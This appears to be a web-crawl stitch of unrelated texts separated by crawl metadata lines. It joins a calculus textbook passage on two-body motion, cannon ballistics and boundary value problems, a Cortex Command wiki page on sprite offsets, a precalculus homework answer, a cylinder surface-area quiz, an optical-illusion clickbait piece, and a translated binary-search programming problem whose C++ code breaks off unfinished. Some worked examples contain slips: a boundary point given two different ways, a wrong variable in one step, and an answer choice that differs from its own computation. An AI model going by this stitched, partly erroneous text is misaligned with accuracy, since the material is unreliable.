In fact, it doesn't seem to reveal anything about what is going on. What if we look at the center of mass of the two, $$M=\frac{p}{p+q}U+\frac{q}{p+q}V,$$ instead? It seems to be moving along a straight line!
Furthermore, let's plot the two trajectories with respect to the center of mass, i.e., $$P=U-M \text{ and } Q=V-M.$$ They seem to trace ellipses.
Let's state and prove these conjectures.
Theorem. The center of mass $M$ of the two-body system satisfies the vector ODE: $$M' '=0,$$ and, therefore, moves along a straight line at a constant speed.
Proof. We simply substitute: $$\begin{array}{ll} M' '&=\left( \frac{p}{p+q}U+\frac{q}{p+q}V \right)' '\\ &= \frac{p}{p+q}U' '+\frac{q}{p+q}V ' '\\ &= \frac{p}{p+q}\left(-G q\frac{U-V}{||U-V||^3}\right)+\frac{q}{p+q}\left(-G p\frac{V-U}{||V-U||^3}\right)\\ &=-G\frac{pq}{p+q}\left(\frac{U-V}{||U-V||^3}+\frac{V-U}{||U-V||^3}\right)\\ &=0. \end{array}$$ $\blacksquare$
Theorem. If $U$ and $V$ are the locations of the two planets in the two-body system and $M$ is its center of mass $M$, then $P=U-M$ and $Q=V-M$ satisfy the Newton's ODE of planetary motion and, therefore, trace ellipses, parabolas, or hyperbolas.
Proof. We first observe that $M$ located on the line between $U$ and $V$ in proportion to their masses. Therefore, $U-V$ is proportional to $U-M$: $$M=\frac{p}{p+q}U+\frac{q}{p+q}V\ \Longrightarrow\ U-V=\frac{p+q}{q}(U-M).$$ Now, we simply substitute: $$\begin{array}{ll} P' '&=(U-M)' '\\ &=U' ' - M' '\\ &=-G q\frac{U-V}{||U-V||^3} - 0\\ &=-G q\frac{\frac{p+q}{q}(U-M)}{||\frac{p+q}{q}(U-M)||^3} \\ &=-G q\frac{U-M}{\left(\frac{p+q}{q}\right)^2||(U-M)||^3} \\ &=-G q\left(\frac{q}{p+q}\right)^2 \frac{U-M}{||(U-M)||^3} \\ &=-G \frac{q^3}{(p+q)^2} \frac{P}{||P||^3} . \end{array}$$ $\blacksquare$
In the last example, we go back to the case of two identical planets and simply increase the $y$-component of the velocity of the second planet from $1$ to $2$. With a certain amount of circling, they start to move away from each other.
Eventually, they are flying in the opposite directions! Just as in the last case, plotting the trajectories with respect to the center of mass help to reveal the pattern.
Thus, depending on the initial conditions, these three seem to be the most interesting outcomes. In the first, two identical planets dance around each other (in reality, around the combined center of mass). In the second, they dance away together (still around the center of mass, which is moving). Finally, the two run away from each other because beyond some distance they feel almost no pull...
Exercise. Why don't any of the planets in the solar system behave this way? What other possibilities can you think of?
First let's review a related problem discussed in Chapter 17. The fact that the Earth orbits the Sun and the Moon orbits around the Earth may be illustrated with the picture on left while the actual data about the dimensions of the orbits and the period of the Moon produce the picture on right:
Suppose now that the three planets have masses $p,q,m$. If we assume that $$p>>q>>m,$$ such as in the case of Sun-Earth-Moon, the effect of the gravity of the second on the first and the third on the second is negligible, just as in the last section. Suppose
• $U=0$ is the location of the Sun fixed at the origin,
• $V$ is the location of the Earth with respect to the Sun, and
• $X$ is the location of the Moon with respect to the Earth.
Then the two interactions are independent of each other and we have two independent Newton's ODEs of planetary motion: $$\begin{array}{lll} V' '=-G p\frac{V}{||V||^3};\\ X' '=-G q\frac{X}{||X||^3}. \end{array}$$ Both solutions follow their respective ellipses. We then add them as vectors, $$W=V+X,$$ to produce the path of the third planet around the first. Generically, it looks like this:
We next make one generalization: the mass of the second planet is not negligibly small relative to that of the first anymore. We, then, can't fix the first at the origin anymore. We have a two-body system just as above: $$\begin{array}{lll} U' '=-Gq\frac{U-V}{||U-V||^3};\\ V' '=-Gp\frac{V-U}{||V-U||^3};\\ W' '=-Gp\frac{W-U}{||W-U||^3}-q\frac{W-V}{||W-V||^3}. \end{array}$$ In the meantime, the third planet is affected by the gravity of the first two. It is called the restricted three body problem
While the two first planets do the same, the variety of behaviors of the third is enormous even in dimension $2$:
There are many periodic trajectories but we will point out only one. Below we confirm that it is possible to place a satellite on the Moon's orbit, $60$ degrees ahead, that will continue to revolve in this fashion indefinitely.
Now, in general. Suppose now we have three planets with masses $m_1,m_2,m_3$ located at $V_1,V_2,V_3$ respectively. Each of the three objects is affected by the gravity of either of the other two. Then these three interaction appear in the three dependent vector ODEs: $$\begin{array}{lll} V_1' '=-G m_2\frac{V_1-V_2}{||V_1-V_2||^3}-G m_3\frac{V_1-V_3}{||V_1-V_3||^3};\\ V_2' '=-G m_1\frac{V_2-V_1}{||V_2-V_1||^3}-G m_3\frac{V_2-V_3}{||V_2-V_3||^3};\\ V_3' '=-G m_1\frac{V_3-V_1}{||V_3-V_1||^3}-G m_2\frac{V_3-V_2}{||V_3-V_2||^3}. \end{array}$$ The general three body problem has no analytic solution.
## A cannon is fired...
What we know about history of ballistics is that the parabolic trajectories were known since Galileo and, furthermore, Newton worked out the physics behind and the mathematics (calculus) behind this idea. Nonetheless, as recently as mid-19th century they aimed cannons based entirely on the information that comes from experimentation, without mathematics.
Here is an excerpt from The Emperor Napoleon's New System of Field Artillery (1854):
Below is the “range table” from the The Confederate Ordnance Manual during the American Civil War (1860s). Clearly, the numbers come from shooting and then measuring the distance:
With what we know about the dynamics of projectiles, we can try to reproduce these results.
We start with the same initial value problem: $$\begin{cases} x' '&=0\\ y' '&=-32 \end{cases},\quad \begin{cases} x'(0)&=s_0\cos\alpha\\ y'(0)&=s_0\sin\alpha \end{cases},\quad \begin{cases} x(0)&=0\\ y(0)&=y_0 \end{cases},$$ where $s_0$ is the initial speed and $\alpha$ is the angle of the barrel.
Example. The initial value problem has already been solved: $$\begin{cases} x&=&\quad s_0\cos\alpha\cdot t,\\ y&=y_0&+s_0\sin\alpha\cdot t&-16t^2. \end{cases}$$ We need to find such an $x$ that $y=0$. We find the time to reach the ground first (choosing the positive value): $$t=\frac{-s_0\sin\alpha\pm\sqrt{(s_0\sin\alpha)^2-4(-16)y_0}}{2(-16)}=\frac{1}{32}\left(s_0\sin\alpha+\sqrt{(s_0\sin\alpha)^2+64y_0}\right).$$
We consider the 12-pound field howitzer. Suppose the muzzle velocity is known, $s_0=1054$ feet per second. We also estimate the initial elevation (the height of the cannon) at $y_0=5$ feet. Then the distances should be: $$\begin{array}{c|ccc|c} \text{elevation in degrees}&\text{time in seconds, }t&\text{distance in feet, }x&\text{distance in yards}&\text{test distance}\\ \hline 0&0.56 &589 &196 &195\\ 1&1.38 &1451 &484 &539\\ 2&2.43 &2557 &852 &640\\ 3&3.54 &3722 &1241 &847\\ 4&4.66 &4902 &1634 &975\\ 5&5.80 &6085 &2028 &1072 \end{array}$$ We see a mismatch with the data that grows fast with the angle.
$\square$
Exercise. Explain why the red curve looks straight.
The reason why the Newtonian mechanics overestimates the distance is known; it is the air-resistance. In fact, Newton himself worked out all necessary details of ballistics including taking into account the air resistance. He assumed however that the resistance force is proportional to the speed. Half a century later Euler thought, for ballistics, it is better to take the resistance force is proportional to the square of the speed. That was 100 years before those tests!
The drag equation gives the force $F_D$ of drag experienced by an object due to its movement through the air: $$||F_D|| = \tfrac12 \rho CA \cdot s^2,$$ where
• $\rho$ is the density of the air,
• $A$ is the cross sectional area of the projectile,
• $C$ is the drag coefficient – a dimensionless coefficient that depends on the projectile's geometry, and
• $s$ is the speed of the projectile.
The direction of this force $F_D$ and, therefore, that of the acceleration is opposite to the direction of the velocity $X'$. Therefore, the acceleration generated by this force is $$-\tfrac12 \rho CA\frac{1}{M} sX',$$ where $M$ is the mass of the projectile. Then our IVP becomes: $$\begin{cases} x' '&=&-\tfrac12 \rho CA\frac{1}{M} sx'\\ y' '&=-32&-\tfrac12 \rho CA\frac{1}{M} sy' \end{cases},\quad \begin{cases} x'(0)&=s_0\cos\alpha\\ y'(0)&=s_0\sin\alpha \end{cases},\quad \begin{cases} x(0)&=0\\ y(0)&=y_0 \end{cases}.$$ With this updated dynamics of projectiles, let's try again to reproduce the test results.
Example. We need some information for the drag equation:
• the weight $M=8.9$ pounds,
• the area $A=\pi r^2$ of the cross section of the cannonball, where the radius is $r=4.62/2=2.31$ inches,
• the density of the air $\rho = 0.074887$ pounds per cubic foot,
• the drag coefficient of a sphere $C=.47$.
We use Euler's method:
We repeat it for each elevation, six times: $$\begin{array}{c|c|c} \text{elevation in degrees}&\text{distance in yards}&\text{test distance}\\ \hline 0 &187 &195\\ 1 &405 &539\\ 2 &629 &640\\ 3 &822 &847\\ 4 &984 &975\\ 5 &1124 &1072 \end{array}$$ Much better!
$\square$
## Boundary value problems
Example. Setting differential equations aside for a moment, let's consider this simple problem:
• from all quadratic polynomials $f(x)=ax^2+bx+c$, find ones with $f(0)=20,\ f'(0)=-3$.
Here, the value of the function and its derivative are provided for a particular value of the variable, $x=0$. These are called initial conditions. The word “initial” refers to the starting point, $0$, of the ray $[0,\infty]$.
Let's change the problem:
• from all quadratic polynomials $f(x)=ax^2+bx+c$, find ones with $f(0)=20,\ f(5)=30$.
In this case, the value of the function is provided for two values of $x$ and no values of the derivative are provided. These are called boundary conditions. The word “boundary” refers to the end-points, $0$ and $5$, also known as the boundary points, of the interval $[0,5]$.
$\square$
Exercise. Find all these polynomials.
Example. Let's limit ourselves to quadratic polynomials with $a=1$:
• from all quadratic polynomials $f(x)=x^2+bx+c$, find the one with $f(0)=20,\ f'(0)=-3$; and
• from all quadratic polynomials $f(x)=x^2+bx+c$, find the one with $f(0)=20,\ f(5)=30$.
Then we have a certain uniqueness, i.e., there is only one answer to the question; the solution in the former case is, of course, $c=20,\ b=-3$. For the latter case we need more algebra: $$c=20\ \Longrightarrow\ 5^2+ b\cdot 5+20=30\ \Longrightarrow\ b=(30-5^2-20)/5=3.$$
$\square$
Example. Let's review a familiar problem from Chapters 1 and 7. From a $200$ feet elevation, a cannon is fired horizontally at $200$ feet per second. How far will the cannonball go?
We know this as an initial value problem. Indeed, the ODE has been solved: $$\begin{cases} x&=&200t,\\ y&=200&&-16t^2. \end{cases}$$ Now we just need to find the solution that satisfies the initial conditions:
• the initial location: $X(0)=(x(0),y(0))=(0,200)$;
• the initial velocity: $X'(0)=(x'(0),y'(0))=(200,0)$.
We scroll down the spreadsheet to find the row with $y$ close to $0$: around $t_1=3.55$ seconds, with the value of $x$ at the time close to $710$ feet. Algebraically, we solve an equation and then substitute: $$y(t_1)=200-16t_1^2=0\ \Longrightarrow\ t_1=\sqrt{\frac{200}{16}}=\frac{5\sqrt{2}}{2}\ \Longrightarrow\ x_1=x(t_1)=200t_1=200\frac{5\sqrt{2}}{2}\approx 707.$$
Now what could be the meaning of boundary conditions in this setting? We already have one, the initial location. The second may be the final location when, for example, we are trying to hit a target -- at a particular moment of time. Suppose we want the cannon ball to be at $(200,500)$ after $2$ seconds. In that case the muzzle velocity of the cannon is unspecified and it is what we are supposed to find. We thus need to find a solution (there could be one, many, or none) that satisfies the boundary conditions:
• the first boundary location: $X(0)=(x(0),y(0))=(0,200)$;
• the second boundary location: $X(2)=(x(2),y(2))=(500,100)$.
This is called a boundary value problem. Let's solve it.
Where do the solutions come from? The ODE has been solved and the first boundary condition gives us the initial location: $$\begin{cases} x&=x_0&+ut&\\ y&=y_0&+vt&-16t^2 \end{cases} \ \Longrightarrow\ \begin{cases} x&=0&+ut&\\ y&=200&+vt&-16t^2 \end{cases}.$$ We now find $u,v$ from the second boundary condition. One dimension at a time: for $x$, $$x(2)=v \cdot 2=500\ \Longrightarrow\ u=250;$$ and for $y$, $$y(2)=200+v\cdot 2-16\cdot 2^2=100\ \Longrightarrow\ 2v=100-(200-16\cdot 2^2)\ \Longrightarrow\ v=(-100+16\cdot 4)/2=-18.$$ Note that a more practical situation is when the muzzle velocity, mathematically the speed, remains the same and it is the angle of the barrel that we need to find. $\square$
Example. Consider the familiar ODE for the oscillation of an object on a spring: $$y' '(x)+y(x)=0.$$ But this time we aren't trying to predict what happens to the object with known position and velocity. We ask ourselves if the system can bring the object from a particular position to another in a specific amount of time, for example: $$y(0)=0, \ y(\pi/2)=2.$$ The general solution to our ODE is $$y(x) = A \sin x + B \cos x.$$ Now, from the first boundary condition we obtain: $$0 = A \cdot 0 + B \cdot 1\ \Longrightarrow\ B=0.$$ From the boundary condition we obtain: $$2 = A \cdot 1 \ \Longrightarrow\ A=2.$$ Thus imposing these boundary conditions produces a unique solution: $$y(x)=2\sin x.$$ $\square$
When the functions have two or more variables, regions are more complicated and so are their boundaries. Such differential equations are beyond the scope of this book.
## Reflecting light
In the beginning of Chapter 5, we used fact that the light bouncing from a parabolic mirror will all meet at one point as an example of how the Tangent Problem may emerge. We traced how the light bounces off the secant lines of a parabola:
First, suppose there is only a straight surface. We let the light drop vertically on a straight line, where does it go from there?
Theorem. The angle between a vertical vector $<0,1>$ and vector $<1,m>$ (slope $m$) and the angle between $<0,1>$ and a unit vector $<a,b>$ is the same when $$a=\frac{2m}{m^2+1},\ b=\frac{m^2-1}{m^2+1}.$$
Proof. The dot product should be the same: $$<1,m><a,b>=<1,m><0,1>,$$ or $$a+mb=m\ \Longrightarrow\ a=m(1-b).$$ Since this is a unit vector, we have: $$a=\sqrt{1-b^2}=m(1-b)\ \Longrightarrow\ 1-b^2=m^2(1-b)^2\ \Longrightarrow\ (1-b)(1+b)=m^2(1-b)^2.$$ We cancel $1-b$ now because $b=1$ would give us the original vertical vector. Then, $$1+b=m^2(1-b)=m^2-m^2b\ \Longrightarrow\ b=\frac{m^2-1}{m^2+1}.$$ $\blacksquare$
Following the theorem, we test the property of the parabola by bouncing off the light off some of its secant lines:
The pattern is clear but this is just an approximation!
Exercise. When is the angle between a vector $<p,q>$ and vector $<n,m>$ and the angle between $<p,q>$ and a unit vector $<a,b>$ the same?
We now approach this construction from the opposite direction:
• what curves have this property?
Suppose the point $F$ of convergence of light is given. Suppose we also have a point $A=(x_0,y_0)$ where an edge of the mirror is to start. Now, what is the slope $m$ of the line starting at $A$ that will bounce a vertical ray $y=x_0+h$ light to $F$?
A source of light placed at the focus of a parabola will create a beam of parallel rays of light (headlights). | 14,233 | 47,839 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.21875 | 4 | CC-MAIN-2019-30 | latest | en | 0.924534 |
https://wiki.datarealms.com/Offsets | 1,627,321,163,000,000,000 | text/html | crawl-data/CC-MAIN-2021-31/segments/1627046152144.81/warc/CC-MAIN-20210726152107-20210726182107-00048.warc.gz | 625,590,393 | 9,258 | # Offsets
Offsets define relative positions of many things in Cortex Command. They describe individual points which the game engine maps to individual pixels within sprites as they move and rotate on screen. Those points are used to position a sprite in relation to another sprite, such as the shoulder joint on an arm sprite and the corresponding shoulder on its "parent" torso sprite. They define where things are, like the gun carried by a soldier, and also where things are emitted from, like the bullets from that gun.
You'll need to understand Cartesian coordinates and arithmetic with positive and negative numbers. Offset values are usually integers but Offsets accept float values (most often just "_.5"). Though you'll never see half a pixel, Cortex Command's math does. Inaccurate values create inaccuracies in drawing pixels.
And if you understand vectors, you'll understand positioning Offsets relative to other Offsets, almost always done relative to the SpriteOffset.
## SpriteOffset
If sprites in Cortex Command were paper drawings, cut out and pinned to a cork board, the SpriteOffset would be where the push pin goes though the cutout. If you spin the cutout, it spins around the pin. In physics, things spin around their own center of mass. The SpriteOffset provides something similar.
### Coordinates & Pixels
Cortex Command uses pixels, not paper, and pixels have integer coordinates. A coordinate system needs an origin: X = 0, Y = 0. Cortex Command uses the SpriteOffset as the origin for each sprite, and all other Offsets are distances, or vectors, measured from the SpriteOffset measured in pixel lengths on the X and Y axes.
If you open a sprite's image file in an image editor (MS Paint, GIMP, Photoshop, etc.), the coordinates of every pixel is a positive integer value, and it's the pixel up in the top left which has the coordinate (0,0). But this pixel probably shouldn't represent the center of mass.
Instead of a push pin positioned over paper, think of positioning over the pixels of the image an invisible, purely mathematical pixel which, by default, is squarely over that top left pixel in the image. This is the SpriteOffset and it can be offset any distance along the X and Y axes, on or off the image, whole or decimal lengths from its natural starting place over (0,0).
#### Which Axis Is Flipped?
There are two ways of looking at how to find coordinates to position Offsets.
More mathematically true is the perspective of moving the pin/pixel over the paper/image from the natural origin in the top left. In Cortex Command, one axis has its positive and negative reversed from the Cartesian model; and in this "pin" perspective the X-axis is flipped so right is negative and left is positive. It also means measuring vectors of "child" Offsets back to the SpriteOffset of the parent sprite.
The other perspective is more true to how things look in game since Cortex Command moves sprites via their SpriteOffset and visually appear to extending down and to the right from it with X = 0 and Y = 0. This perspective holds the pin/pixel still while moving the paper/image underneath it, typically to the left and up. In this perspective the Y-axis is flipped so up is negative and down is positive. It also means you measure vectors out from the SpriteOffset out to any "child" Offsets.
Which perspective you use is irrelevant as the numbers you enter will be the same. Just be consistent.
### Centering the Odds of Evening
Typically the SpriteOffset will define a pixel in the very center of the sprite, though official examples such as the Dummy infantry position it centered only on the X-axis and low to the hip on the Y-axis. Since sprites are horizontally mirrored, or "HFlipped", to face left, visual popping may occur if the X value of the SpriteOffset is off-center on the X-axis. The Y-axis is more forgiving.
Positioning the SpriteOffset can be tricky because image sizes are reported as a count of the total number of pixels. A 5x5 image has pixels ranging from (0,0) only up to (4,4). Typically it's easier to find the image size than the coordinate of the bottom right pixel. The middle can be found by subtracting 1 from width or height and dividing by 2. Offsets accept decimal, or float, values.
Even numbered WxH size, to have an equal number of pixels to either side (left & right, above & below) the SpriteOffset, would have _.5 values; or you can just divide width and height in half and it's good enough. Odd numbered widths more consistently map to a specific pixel even as the sprite spins around.
To put the center of mass where, visually, it ought to be and avoid visual popping, it may be wisest to enlarge the canvas as needed to keep an equal number of pixels horizontally (and perhaps vertically) on either side of the center of mass pixel when setting it as the SpriteOffset.
## Offset
Used by Exit hatches on ACRockets and Terrain material bitmaps. Also used by the Gib entity; this is best left to the Gib Editor included in Cortex Command.
## Bitmap Offset
Used for static elements on a map, including TerrainObject set pieces, Bunker Backgrounds and Bunker Bits, as well as the old Brain Vault, Rocket Silo, and Wall. Almost all of their vectors are 0,0 but certain Geology objects and the three old Bunker modules use negative vectors.
## EmissionOffset
Used by AEmitter entities to define which pixel the things it emits are emitted from, in many ways similar to MuzzleOffset.
## ParentOffset
Used when attaching a "child" sprite, the ParentOffset defines a point relative to the "parent" sprite's SpriteOffset which the child's JointOffset will attach to. For example, it defines a shoulder socket which the arm's shoulder forms a joint with. HDFirearms use ParentOffset to define a receiver which the Magazine's JointOffset will snap into. The child is typically a sprite or an AEmitter.
## JointOffset
Used when attaching as a "child" to a "parent" sprite, the JointOffset defines a point relative to the child sprite's SpriteOffset which the parent can grab onto and position on itself using it's ParentOffset. Parts of an Actor's body are joined to each other with via JointOffset, as are various Devices like guns and tools. This applies to Actor types like ADoor, ACRocket, and ACDropShip. Attachable effects and AEmitter also use this.
For HDFirearms, the JointOffset is where the FGArm (foreground arm) Hand is positioned, typically where the trigger is drawn but it has no effect on firing the weapon or tool. If placed too far for an AHuman's Hand to reach, the arm will twitch, trying and failing to reach the JointOffset.
## Device-Specific Offsets
These Offsets are used only by the various types of Devices: HeldDevices, HDFirearms, or TDExplosives.
### SupportOffset
This defines where the BGArm (background arm) Hand of AHuman is positioned on a Device. Even one-handed devices specify a SupportOffset, though it tends to be close to the JointOffset. Excessive values have the same effect on the BGArm as excessive JointOffsets have on the FGArm.
### StanceOffset
Adjustment where the SpriteOffset of a HeldDevice, HDFirearm, or ThrownDevice lines up with the SpriteOffset of the Actors carrying it. If a Device is meant to be carried high, slung low, held forward, or tucked back, this is where it should be specified, not SpriteOffset. Note that changing the StanceOffset does not change other Offsets-- they remain relative to SpriteOffset only. However, excessive values on StanceOffset can put other Offsets beyond reach of an AHuman's Hands.
### SharpStanceOffset
Adjustments where a HeldDevice or HDFirearm and an Actor's SpriteOffsets align, but only when stopping to aim. Most weapons (and even the diggers, for some reason) are carried higher to "look down the sights" though it can be set arbitrarily. Like SupportOffset, all other Offsets on the Device stay relative to the SpriteOffset, thus the "move with" the Device.
### MuzzleOffset
Defines the pixel where any Round an HDFirearm fires are emitted from. Typically this is the forward tip of the barrel, but it can be placed arbitrarily, even outside the sprite's pixel area.
### EjectionOffset
The pixel where any Shell will be emitted from the sprite of an HDFirearm.
### StartThrowOffset
Used with TDExplosives such as grenades. Almost always (-12,-5).
### EndThrowOffset
Used with TDExplosives such as grenades. Almost always (-12,-5) but sometise (12,-5).
## Actor-Specific Offsets
These Offsets are used only by the various types of Actors: AHumans, ACrabs, ACRockets, ACDropShips, or ADoors.
### IdleOffset
Specified in Arm and Leg definitions to position their Hand and Foot respectively when those limbs are idle. Specifies a point relative to the JointOffset to position the Hand or Foot rather than a specific Parent-Joint attachment. Works in concert with MaxLength to keep Hands and Feet from visually separating from their Arm or Leg. Appears in all Actor definitions except ACDropship and ADoor and stationary Brains.
### ExtendedOffset
Defines where the Foot of an Actor is positioned relative to the Leg's JointOffset when standing. Note that these coordinates assume the Leg being oriented horizontally as the sprites for them are.
### ContractedOffset
Used when crouching, this defines where the Foot of an Actor is positioned relative to the Leg's JointOffset. Note that these coordinates assume the Leg being oriented horizontally as sprites for them are.
### StartOffset
Used in the various LimbPath animation definitions, this specifies the hip joint ParentOffset of the Actor where the JointOffset of its Leg is attached [1].
### HolsterOffset
Not commonly used, if at all. Cortex Command currently does not "holster" any items when unequipped. Appears in both AHuman and ACRocket definitions.
### OpenOffset
Used by doors to specify where the "door" part moves to when it opens.
### ClosedOffset
Used by doors to specify where the "door" part moves to when the door is closed. | 2,179 | 10,018 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.40625 | 3 | CC-MAIN-2021-31 | latest | en | 0.914889 |
https://www.gradesaver.com/textbooks/math/precalculus/precalculus-6th-edition-blitzer/chapter-3-section-3-3-properties-of-logarithms-exercise-set-page-476/113 | 1,680,263,710,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296949642.35/warc/CC-MAIN-20230331113819-20230331143819-00603.warc.gz | 877,523,144 | 12,888 | ## Precalculus (6th Edition) Blitzer
Published by Pearson
# Chapter 3 - Section 3.3 - Properties of Logarithms - Exercise Set - Page 476: 113
#### Answer
See graph and explanations.
#### Work Step by Step
a. Graph the function $y=log_3(x)$ as shown in the figure (red curve). b. (i) Graph the function $y=2+log_3(x)$ (blue curve), and it can be seen that it can also be obtained by shifting the original curve (red) up 2 units. (ii) Graph the function $y=log_3(x+2)$ (green curve), and it can be seen that it can also be obtained by shifting the original curve (red) units to the left. (iii) Graph the function $y=-log_3(x)$ (purple curve), and it can be seen that it can also be obtained by reflecting the original curve (red) with respect to the x-axis.
After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback. | 245 | 922 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.609375 | 4 | CC-MAIN-2023-14 | latest | en | 0.907774 |
https://byjus.com/question-answer/find-the-surface-area-in-cm-sq-of-a-container-with-radius-4-cm-and-1/ | 1,638,619,335,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964362969.51/warc/CC-MAIN-20211204094103-20211204124103-00155.warc.gz | 219,565,056 | 19,149 | Question
# Find the surface area (in cm sq.) of a container with radius 4 cm and height 10 cm, The container is open from the top. 301.6351.9251.3421.6
Solution
## The correct option is A 301.6Given, radius of the container = 4 cm Height of the container = 10 cm We know that, Surface area=2πrh+πr2=2×227×4×10+227×4×4 =251.42 cm sq.+ 50.28 cm sq. =301.7 cm sq.
Suggest corrections | 138 | 384 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.890625 | 4 | CC-MAIN-2021-49 | latest | en | 0.70993 |
https://www.jagranjosh.com/general-knowledge/optical-illusion-challenge-find-the-dog-lost-in-the-park-in-15-seconds-1677819706-1 | 1,680,096,665,000,000,000 | text/html | crawl-data/CC-MAIN-2023-14/segments/1679296948976.45/warc/CC-MAIN-20230329120545-20230329150545-00571.warc.gz | 926,025,915 | 36,260 | # Optical Illusion Challenge: You have Great Vision if You can Find the Dog Lost in the Park in 15 Seconds
This optical illusion is insanely hard to solve. If you can find the dog lost in the park in 15 seconds, then you have great vision. Do you?
Optical Illusion Challenge: Find the Dog in 15 seconds
Optical Illusion Challenge: Optical illusions are visual phenomena where our brain perceives something different from reality.
They can fool us into thinking things aren't really there, or they can trick our eyes into seeing things that don't exist.
In ancient times, people alluded to these optical illusions as witchcraft, demons, or evil spirits. Later, scientists discovered that our brains play tricks on us and it all happens because of different perceptions.
Studies suggest that optical illusions are great resources for studying the way the human brain functions.
Additionally, with regular practice, optical illusions are helpful for enhancing cognitive abilities and observational skills in individuals.
Would you like to test your observation skills?
Let’s get started.
## Optical Illusion Challenge: Find the Dog in 15 seconds
Source: Bright Side
There is a dog hidden in this optical illusion image. The challenge is to try and find the dog in 15 seconds.
Can you?
Let’s test you out.
All the best!
Remember, you only have 15 seconds to find the dog.
Hurry up.
Have you found the dog yet?
If not, allow us to provide you with a small but significant hint.
Optical illusion challenge hint: The dog is wearing a blue bow and is brown in color.
Now, did you spot the dog?
The clock’s ticking.
3…
2…
And 1
Time’s up!
Were you able to find the dog?
Some of you may have found the hidden dog in the optical illusion picture by now. However, there are many who might have been unable to find it.
Scroll down to find where the dog is hidden.
### Optical Illusion Solution
In this optical illusion IQ test, you had to find the hidden dog in 15 seconds. If you were unable to solve this illusion challenge, scroll down to see the solution.
We hope you liked this optical illusion challenge.
Optical illusions are visual phenomena that trick the brain into perceiving something differently than it actually is. These illusions can take many forms, from simple patterns that appear to move or change shape, to more complex images that seem to defy the laws of physics. They can be both intriguing and confounding, making them a popular subject of study for scientists and a fun puzzle for people of all ages to enjoy.
You Are A Proven Genius If You Can Spot The Fish In The Boy’s Bedroom In 7 Seconds!
You Are Highly Intelligent If You Can Spot The Corgi Hidden In The Garden In 6 Seconds!
Get the latest General Knowledge and Current Affairs from all over India and world for all competitive exams.
खेलें हर किस्म के रोमांच से भरपूर गेम्स सिर्फ़ जागरण प्ले पर | 628 | 2,899 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.515625 | 3 | CC-MAIN-2023-14 | latest | en | 0.939401 |
https://chowdera.com/2021/06/20210610232140626z.html | 1,624,467,862,000,000,000 | text/html | crawl-data/CC-MAIN-2021-25/segments/1623488539764.83/warc/CC-MAIN-20210623165014-20210623195014-00149.warc.gz | 172,270,621 | 9,667 | The time limit ：1000 ms | Memory limit ：65535 KB
difficulty ：4
describe
Farmer John Built a long corral , It includes N (2 <= N <= 100,000) Compartments , The compartments are numbered in turn x1,...,xN (0 <= xi <= 1,000,000,000).
however ,John Of C (2 <= C <= N) The cows don't like this layout , And a few cows in a cubicle , They're going to fight . In order not to let cattle hurt each other .John Decide to allocate compartments to the cattle , Make the minimum distance between any two cows as large as possible , that , What is the maximum and minimum distance ？
Input
Multiple sets of test data , With EOF end .
first line ： Two integers separated by spaces N and C
The second line —— The first N+1 That's ok ： It is pointed out that xi The location of
Output
Each group of integers outputs one test data , Satisfy the maximum and minimum of the meaning of the problem , Pay attention to the new line .
The sample input
```5 3
1
2
8
4
9```
Sample output
`3`
#include <iostream>
#include <algorithm>
using namespace std;
long long a[1000000];
int n,c;
bool Judge(int mid)
{
int i,sum=1,temp=a[0];// At least one cow
for(int i=1;i<n;i++)
{
if(a[i]-temp>=mid)// The distance from the first room number is once
{
sum++;
temp=a[i];// to update temp Value ,temp To a[i] You can put down a cow in between . temp=a[i], Ask for the next a[i] To temp No, you can put down a cow
if(sum>=c)// If the total sum>c, You can put it down c Head ox
return true;
}
}
return false;
}
int Binary_search()// The maximum of the minimum distance of binary search
{
int min=0,max=a[n-1]-a[0],mid=0;
while(min<=max)
{
mid=(max+min)/2;// Take the value between the minimum distance and the maximum distance first
if(Judge(mid))// If the current distance can be lowered c Head ox
min=mid+1;// Try to increase the minimum distance @
else
max=mid-1;// can't let go , It has to be reduced mid Value
}
